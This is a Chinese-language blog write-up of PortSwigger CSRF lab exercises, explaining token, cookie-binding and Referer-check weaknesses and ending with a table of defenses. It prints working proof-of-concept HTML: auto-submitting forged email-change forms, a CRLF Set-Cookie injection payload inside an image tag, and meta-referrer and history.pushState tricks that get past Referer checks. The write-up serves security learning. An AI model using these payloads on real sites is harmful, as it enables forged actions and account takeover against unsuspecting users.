CSRF漏洞原理和进阶利用

CSRF漏洞原理和进阶利用

前言

最近打算重新学习下csrf和xss,这些top10漏洞原理其实深究起来也不简单,就当是巩固基础知识了。

csrf跨站请求伪造攻击,本质上是攻击者伪造请求并加以包装(可以是一个url,也可以是一个html页面),当受害者执行了攻击者伪造的请求会后携带已有的cookie到目标网站执行指定操作。

在正式学习之前,需要了解浏览器和服务端通信机制,以下几种概念是很重要的。

概念 描述 相关风险 防护措施
Cookie 浏览器存储的用户信息(如 session_id)用于保持登录状态,随请求自动发送。 攻击者可通过跨站请求利用用户的 cookie,执行未授权操作。 设置 SameSite 属性(StrictLax),防止跨站请求携带 cookie。
Session 服务器存储的关于用户的会话数据,用于标识和管理用户登录状态。 如果 session 未保护,可能被攻击者伪造请求。 使用强加密和 session token,并确保 session 生命周期短,避免长期有效。
CSRF 跨站请求伪造,攻击者诱使用户访问恶意站点,利用用户登录状态发起恶意请求。 攻击者可以伪造用户的请求,执行危险操作。 使用 CSRF token(防止恶意请求)、限制跨站请求带 cookie。
Token 随机生成的不可预测的字符串,作为请求的标识符,防止 CSRF 攻击。 如果 token 不验证,攻击者可伪造请求。 使用 CSRF token:每个请求携带不同的 token,且绑定用户 session。
Referer 浏览器请求头,指明请求来源的 URL,可以用来检测请求是否来自合法网站。 攻击者可能伪造请求头,绕过 referer 检查。 使用 SameSite cookie、严格的 CORS 策略、以及 CSRF token 来防止伪造请求。
SameSite Cookie 属性,用于限制跨站请求时是否携带 cookie。可能的值为 StrictLaxNone 默认情况下,跨站请求会带上用户的 cookie。 设置 SameSite=StrictLax,防止跨站点请求带 cookie。
CORS 跨源资源共享,控制不同源的请求是否被允许访问服务器资源。主要用于控制跨域请求,特别是 JavaScript 脚本发起的请求。 不受信任的站点可以发送跨站请求并操作用户数据。 设置 CORS 策略,通过服务器的 Access-Control-Allow-Origin 头,限制仅允许特定来源的请求访问敏感数据。
XSS 跨站脚本攻击,通过注入恶意 JavaScript 代码窃取用户信息或执行未经授权的操作。 通过注入脚本,攻击者可以窃取 cookie 或绕过 CSRF 防护。 使用 内容安全策略(CSP),防止恶意脚本执行,并配合 CSRF token 防止跨站伪造请求。

3个前提条件

┌─────────────────────────────────────────────┐
│ 条件1:用户已登录目标网站,会话凭证有效 │
│ → 用户在目标网站完成登录,浏览器保存 Cookie/Session 等认证信息,且未过期、未注销 │
└─────────────────────────────────────────────┘

┌─────────────────────────────────────────────┐
│ 条件2:目标网站仅依赖 Cookie 验证身份 │
│ → 服务器未添加额外校验(如 CSRF Token、Referer 检查),请求参数可被攻击者完全预测 │
└─────────────────────────────────────────────┘

┌─────────────────────────────────────────────┐
│ 条件3:用户被诱导触发恶意请求 │
│ → 用户在登录状态下,访问攻击者控制的页面/链接,触发自动发送的恶意请求 │
└─────────────────────────────────────────────┘

靶场一:无防护的CSRF漏洞

靶场地址:

https://portswigger.net/web-security/csrf/lab-no-defenses

在注册登录账户和邮箱后,在更新email一栏抓包

image-20251206172915102

观察抓到的数据包,发现唯一校验值就是cookie

image-20251206173009846

那么攻击思路很简单,只需要伪造一个请求,使得用户在自己已经登陆的浏览器上访问我的数据包即可

image-20251206173148103

利用bp的工具生成csrf的poc

屏幕截图 2025-12-06 173303

随后复制到exploit server

image-20251206173531685

保存后发送成功完成实验

image-20251206173647080

靶场二:取决于请求方法的CSRF令牌验证

本实验室的电子邮件更改功能容易受到 CSRF 的攻击。它试图阻止 CSRF 攻击,但只对某些类型的请求应用防御。

靶场地址:

portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method

前面步骤还是一样,先抓到请求的数据包观察一手

image-20251206175023128

发现这里存在一串csrf校验值,长度很长难以猜测,尝试修改该值看后端是否真正校验

结果发现无论删除还是修改都不行,看来是真的存在校验

image-20251206175238124

image-20251206175259895

既然POST请求会有校验,那GET请求呢?

image-20251206180820064

修改为get请求包后成功执行,随后将参数删掉发现也能成功

image-20251206180909609

说明对参数csrf的校验仅在POST提交时生效,那么同上将GET请求包生成csrf的poc即可

image-20251206181429801

image-20251206181419556

靶场三:csrf令牌验证取决于令牌是否存在

某些应用程序会在令牌存在时正确验证令牌,但如果令牌被省略则跳过验证。

在这种情况下,攻击者可以删除包含令牌的整个参数(而不仅仅是其值)以绕过验证并发起 CSRF 攻击

靶场地址:

portswigger.net/web-security/csrf/lab-token-validation-depends-on-token-being-present

抓取数据包,发现和上题目一样

image-20251206182630654

尝试把csrf参数删掉,发现能成功修改,说明后端在没有接受到该参数的值时不进行令牌校验的

image-20251206182601156

后续只需要把csrf删掉生成poc即可

image-20251206182830686

靶场四:csrf令牌未绑定到用户会话

某些应用程序不会验证令牌是否与发出请求的用户属于同一会话。相反,应用程序维护它已发布的全局令牌池,并接受出现在该池中的任何令牌。

在这种情况下,攻击者可以使用自己的帐户登录应用程序,获取有效令牌,然后将该令牌提供给受害者用户进行 CSRF 攻击。

简而言之,cookie session和token未绑定. 可以使用自己的token修改别人的邮箱账号.

靶场地址:

portswigger.net/web-security/csrf/lab-token-not-tied-to-user-session

首先登录A邮箱抓取数据,发现无论是更改请求方法还是对csrf进行删改啥的都不行

image-20251206190000063

也就是说对于令牌的鉴权一定是存在,但是接下来可以测试令牌有没有和session绑定,也A用户的令牌方B用户上能不能用

这是A用户第一次修改邮箱的包

image-20251206190257942

这是第二次

image-20251206190358732

这里发现session是固定的,但是令牌是随机动态生成的,也就是说session和csrf不是绑定的,那么就可以用自己的token伪造csrf请求

抓A的包

image-20251206200357122

抓B的包

image-20251206200420207

用A的token替换B的token,成功修改

image-20251206200506391

后面生成poc并提交即可

image-20251206201409847

这个把靶场四的区别就是靶场四的cookie未和csrf令牌绑定,靶场五的cookie和csrf令牌绑定了,但是绑定的是非会话cookie(csrfkey),而不是验证身份的session,所以攻击者需同时注入自己的 csrfKey 和对应的 csrf 令牌,使受害者请求中两者匹配。

靶场地址:

portswigger.net/web-security/csrf/lab-token-tied-to-non-session-cookie

登录抓包后发现像靶场四那样拿自己的csrf替换已经无法实现攻击了

image-20251207131501263

也就是说csrf令牌已经和cookie绑定了。如果和验证身份的session绑定的话那么无法实现csrf,接下来试试同时替换csrfkey和csrf

A的数据包

image-20251207132008931

B的数据包

image-20251207132036476

同时替换csrfkey和csrf,发现成功攻击

image-20251207132226456

接下来就是如何构造poc,同步注入非会话cookie和令牌

很显然像直接用bp设计csrf poc不可行因为cookie是存储在浏览器上的而不是请求体中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a5800fc046b0c2c80ab444a004a00e1.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="2&#64;qq&#46;com" />
<input type="hidden" name="csrf" value="H0Va9mrYhxuw3Tceeyy3xilxZYy2eIb4" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

通过在首页搜索发现,搜索东西时会带有csrfkey,那么可以通过url的set-cookie来注入

image-20251207133416582

可以使用playload替换成自己的csrfkey

image-20251207133534279

接下来在替换csrf令牌后生成poc

image-20251207135349614

然后设置图片链接到搜索页面替换成我们的csrfkey,一旦对方打开网址,就会自动加载”这个图片”,简而言之相当于去访问了这个精心设计好的网址,而因为这并非一个图片,必然会报错,后面onerror就是报错后的动作,即提交表单.

1
<img src="https://xxx.web-security-academy.net/?search=ddosi.org%0d%0aSet-Cookie:%20csrfKey=GwWIachNBZVlLaGvsiEv4Fs9rPXe6IBN%3b%20SameSite=None" onerror="document.forms[0].submit()">

最终poc

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a5800fc046b0c2c80ab444a004a00e1.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="2&#64;qq&#46;com" />
<input type="hidden" name="csrf" value="Kjwwavy5I3E8dg341NCATTwKEEcFO7cp" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a5800fc046b0c2c80ab444a004a00e1.web-security-academy.net/?search=ddosi.org%0d%0aSet-Cookie:%20csrfKey=XqwhohGNDsk0iDLnK0I73zFm9Qd37iPR%3b%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>

靶场六:CSRF 令牌只是从cookie 中复制一次

应用设计的 “双重提交” 防御本应是:服务器生成随机 CSRF 令牌,同时存入用户会话(服务器端)和客户端 Cookie,后续请求需同时携带 “会话绑定的令牌”(请求参数)和 “Cookie 令牌”,服务器校验两者是否匹配且与会话关联。

但靶场六的实现偷工减料:跳过服务器端会话绑定和令牌有效性校验,仅要求 “请求参数中的 csrf 值” 与 “Cookie 中的 csrf 值” 完全相同,哪怕这个值是攻击者自定义的,只要两者一致,服务器就认为请求合法。

靶场地址:

portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie

抓取数据包,发现cookie中存在一个和请求体中一样的csrf令牌,也就是说令牌和cookie要对齐

image-20251207141721139

随后同时修改csrf和cookie中的令牌,发现后端不能存在令牌池,也不会对其进行身份验证,只要二者对齐就能通过校验

image-20251207141853612

那么攻击思路就有了,攻击者甚至不需要获取自己的有效令牌,可以随意构造csrf,同时设置cookie的csrf使得二者对齐即可

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a8f0024033cd37280b94465009400d0.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="1&#64;qq&#46;com" />
<input type="hidden" name="csrf" value="1" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a8f0024033cd37280b94465009400d0.web-security-academy.net/?search=ddosi.org%0d%0aSet-Cookie:%20csrfKey=123%3b%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>

靶场七:基于 Referer 的 CSRF 防御(Referer 验证取决于标头是否存在)

靶场七的核心漏洞是 CSRF 防御仅在Referer标头存在时生效,若标头缺失则直接跳过校验—— 本质是防御机制存在 “不安全回退”,攻击者可通过隐藏Referer标头,让跨域 CSRF 请求绕过校验。

靶场地址:

portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present

Referer 标头的作用

Referer是浏览器自动携带的请求头,记录 “当前请求的来源页面 URL”(比如从 A 页面跳转到 B 页面,B 页面的请求会携带Referer: A页面URL)。靶场的防御逻辑:仅允许Referer为靶场自身域名的请求(同域请求),拒绝跨域Referer(如漏洞利用服务器域名)的请求。

首先抓取数据包,按照前面的直接生成poc的做法是不行的,我们可以验证一下

把referer随便改发现不对,说明后端有验证的

image-20251207153626858

随后把referer那三行删掉发现可以修改

image-20251207153759739

说明 CSRF 防御仅在Referer标头存在时生效,若标头缺失则直接跳过校验

后面构造poc时,我们需要浏览器自动删除,所以payload如下所示:(在head中加入无referer的选项)

1
<meta name="referrer" content="no-referrer">

最终的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<meta name="referrer" content="no-referrer">
</head>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0abc002503815c9080aa17b900d40061.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="5&#64;qq&#46;com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

靶场八:可绕过的 Referer 验证(验证逻辑缺陷)

服务器对 Referer 的验证逻辑存在严重缺陷 ——只要 Referer 字符串中包含目标域名片段(如web-security-academy.net),就认为是合法请求,而非严格验证完整的同源域名。

靶场地址:

https://portswigger.net/web-security/csrf/bypassing-referer-based-defenses/lab-referer-validation-broken

发现这次删除和修改都无法成功

image-20251207155345563

然后测试,不检查完整域名匹配,仅检查字符串是否包含目标域名片段

image-20251207155722011

可以构造以下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<head>
<meta name="referrer" content="unsafe-url">
</head>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a32005704cca37a806103d700e500a8.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="3191593&#64;qq&#46;com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/?0a32005704cca37a806103d700e500a8.web-security-academy.net');
document.forms[0].submit();
</script>
</body>
</html>

两大核心代码的原理与作用

1. history.pushState('', '', '/?靶场完整域名')

  • 底层原理:浏览器History API的前端本地操作,可在「不刷新页面、不跨域」的前提下,修改地址栏 URL 的查询参数(?后内容)。
  • 核心作用:给 Referer 注入 “靶场域名片段”—— 修改后地址栏 URL 包含靶场完整域名(如https://漏洞服务器/?0a32005704cca37a806103d700e500a8.web-security-academy.net),而浏览器默认将「地址栏 URL」作为 Referer 值,从而让 Referer 满足靶场 “含自身域名即合法” 的校验条件。
  • 关键价值:不触发页面刷新、不暴露攻击痕迹,确保用户无感知,同时精准匹配靶场校验规则。

2. <meta name="referrer" content="unsafe-url">

  • 底层原理:HTML 原生标签,用于控制浏览器发送请求时Referer标头的 “发送规则”,content="unsafe-url"表示强制发送「完整 URL(协议 + 域名 + 路径 + 查询参数)」,即使是跨域请求也不截断任何部分。
  • 核心作用:保障注入的靶场域名不丢失 —— 浏览器默认跨域请求会截断 Referer 的查询参数(仅保留 “协议 + 域名”),该标签强制完整发送 URL,确保history.pushState注入的靶场域名能被靶场检测到。
  • 关键价值:解决 “浏览器默认截断查询参数” 的问题,是history.pushState生效的前提(无此标签,注入的靶场域名会被浏览器删除,校验失败)。

防护手段

防护方法 适用场景 核心价值
CSRF Token 所有有状态服务 通用核心防护
SameSite Cookie 所有场景 基础兜底,无开发成本
双重 Cookie 验证 无状态服务 / 同源场景 无需 Session,适配 JWT 架构
自定义请求头验证 跨域 / 前后端分离 拦截跨域伪造请求
JWT 无状态防护 微服务 / 分布式系统 无状态,适配分布式架构
Referer/Origin 验证 所有场景(补充) 辅助拦截非法来源
二次验证(验证码) 转账 / 改密码等高敏感操作 兜底防护,最彻底
频率限制 / IP 绑定 批量 CSRF 攻击防护 增加攻击成本,拦截异常请求